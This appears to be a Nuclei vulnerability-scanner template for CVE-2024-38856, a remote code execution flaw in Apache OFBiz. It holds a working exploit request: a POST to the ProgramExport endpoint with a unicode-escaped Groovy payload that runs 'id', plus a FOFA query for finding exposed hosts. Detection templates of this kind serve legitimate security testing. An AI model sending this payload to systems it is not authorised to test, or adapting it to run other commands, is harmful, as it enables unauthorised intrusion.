nuclei-templates/http/cves/2024/CVE-2024-38856.yaml

34 lines
1.1 KiB
YAML
Raw Normal View History

2024-08-05 09:16:52 +00:00
id: CVE-2024-38856
info:
name: Apache OFBiz RCE (CVE-2024-38856)
author: Co5mos
severity: critical
description: |
在apache ofbiz 12.14中,有远程命令执行。用户可以使用特定的 url 来绕过过滤器检测,从而导致未经授权执行 goorvy 代码。
reference:
- https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter%E7%BB%95%E8%BF%87%E5%88%B0rce/
metadata:
fofa-query: 'app="Apache_OFBiz"'
tags: rce,apache,ofbiz,cve,cve2024
http:
- raw:
- |
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
- type: status
status:
- 200